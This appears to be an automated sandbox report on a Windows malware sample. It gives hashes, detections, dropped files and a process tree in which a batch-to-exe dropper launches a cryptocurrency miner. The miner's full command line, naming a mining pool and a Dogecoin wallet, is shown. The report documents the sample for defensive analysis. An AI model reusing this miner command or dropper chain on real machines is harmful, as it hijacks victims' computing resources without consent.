73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
299s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
11/02/2024, 19:02

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4848	b2e.exe
5496	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
5496	cpuminer-sse2.exe
5496	cpuminer-sse2.exe
5496	cpuminer-sse2.exe
5496	cpuminer-sse2.exe
5496	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1488-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1488 wrote to memory of 4848	1488	batexe.exe	83
PID 1488 wrote to memory of 4848	1488	batexe.exe	83
PID 1488 wrote to memory of 4848	1488	batexe.exe	83
PID 4848 wrote to memory of 3412	4848	b2e.exe	84
PID 4848 wrote to memory of 3412	4848	b2e.exe	84
PID 4848 wrote to memory of 3412	4848	b2e.exe	84
PID 3412 wrote to memory of 5496	3412	cmd.exe	87
PID 3412 wrote to memory of 5496	3412	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1488
- C:\Users\Admin\AppData\Local\Temp\5C97.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5C97.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5C97.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4848
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5F66.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3412
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5496

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5C97.tmp\b2e.exe

Filesize
25.1MB

MD5
0b9499f42a5c16cfdbac7cee467fd08d

SHA1
f8c26ffb23ebf53d7b15cbf56bc9e1b1798e80dd

SHA256
9c4b58f7083b6c44bb515d59ae94da78fe522a4c7cbff4ca95e31050d87da953

SHA512
f82447fe0b123cd5baadf1785f9a79ef23fe5b10a91093bfe2031216a6adc5d5e0c7c857f5473565535c8baec6f1eba5e9d1161234433887d22fa4e9fac088c5

Download Submit
C:\Users\Admin\AppData\Local\Temp\5C97.tmp\b2e.exe

Filesize
12.7MB

MD5
2a852de3595e391361275ab089f4aa35

SHA1
28b54209fcedb84b0998b954ad85841cf92d66f8

SHA256
921b42cc90fa4c7151a1289b9688a0db802d3907f3225fd99e4aa50cf817f835

SHA512
56033dfb087a3cf2e8d7d2c03fb36cae84982e0cfb0c4a3a65bf296488271c382e222ec9a601e6434193fd2320d42e8af7b9dbf97091b01e24415adc307e57f8

Download Submit
C:\Users\Admin\AppData\Local\Temp\5C97.tmp\b2e.exe

Filesize
14.7MB

MD5
fd0e25517a8852fcfa95683f3def4772

SHA1
95849703f55b22e3a367675ec601686a92f14435

SHA256
2b743e97a1d139b6e74196840eaf3f86ed8f0054644e070b7186ca5bf0af92d5

SHA512
53fa68bdfc85005044dae00012894f7c075a7633faf36a5c568123df1797903a393d1afb598fcf250326927a5cb4eca56ba2f1e478742aef8d90cce3f5ce639e

Download Submit
C:\Users\Admin\AppData\Local\Temp\5F66.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.0MB

MD5
9fa0a305c23fe0d92d53206b267585db

SHA1
18108d737369eacadb86b74e2038df5312e310b4

SHA256
3402586356c32ebf35176029771ed8a0227d7f92bdd88674dfdc55d87be6d905

SHA512
904afcd76cdab0b6b3ae0c00a847193cd1efe23507381e1709f8382eb8c6bed34139bb5b3871a269656fcd80644c660b2c7cd8f86bd476f6be77d91f28fbf9d6

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.2MB

MD5
2f8a953529a6b3cf7ff53c90ffe7cefb

SHA1
4c6ae697f3d5045a84227e8a9f4626f21adda3b6

SHA256
e7f94b3814735192624a041855e9694c6c6d9202064dd929113ee70b460fa6ef

SHA512
77a2e79478add97350e1eb60296b9c37ed14dc03d626eec44248aecae428f60fa1c8ddd2c96865d141b3150b334a1ce89c7c5c69e5593660572236e55ce74d7d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.1MB

MD5
a7e092bbf19b71ff5eb20e75f6a2c2c4

SHA1
075379e1311c699b0b02222f64a5033e222e69ce

SHA256
bafb41f3aafb315ba3180790860cfbaf10e6d457f504fb8b1ba57effe15ec67a

SHA512
cc8de4d913596c71bfcb011aad5c6ba38cf4cdf37b1df64572188aad61094970f51ae14b9426c8e597cef36c79d32371c9f8fa1d8a0adf252b6a7f7e1c7e8f2a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.5MB

MD5
eac701135c23251d281cadfaf1d8f8eb

SHA1
022bcac7227b8ef4c730c2b5655d2cc2308a67bc

SHA256
e667d78dc116a998f5c6d2696714689837ae2a4602b5eae3ba32aff4d866a4d2

SHA512
eb016879b06db4f0f42783a819017a9fbc53d5ad625a47e1a90518ade36b4a8108eb0dfeab8e6ad3ba8ac035ea2fe36051783330a6202897c968fe20472c56eb

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1488-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4848-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4848-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5496-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-45-0x000000006EB00000-0x000000006EB98000-memory.dmp

Filesize
608KB

Download
memory/5496-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5496-47-0x00000000010A0000-0x0000000002955000-memory.dmp

Filesize
24.7MB

Download
memory/5496-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/5496-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download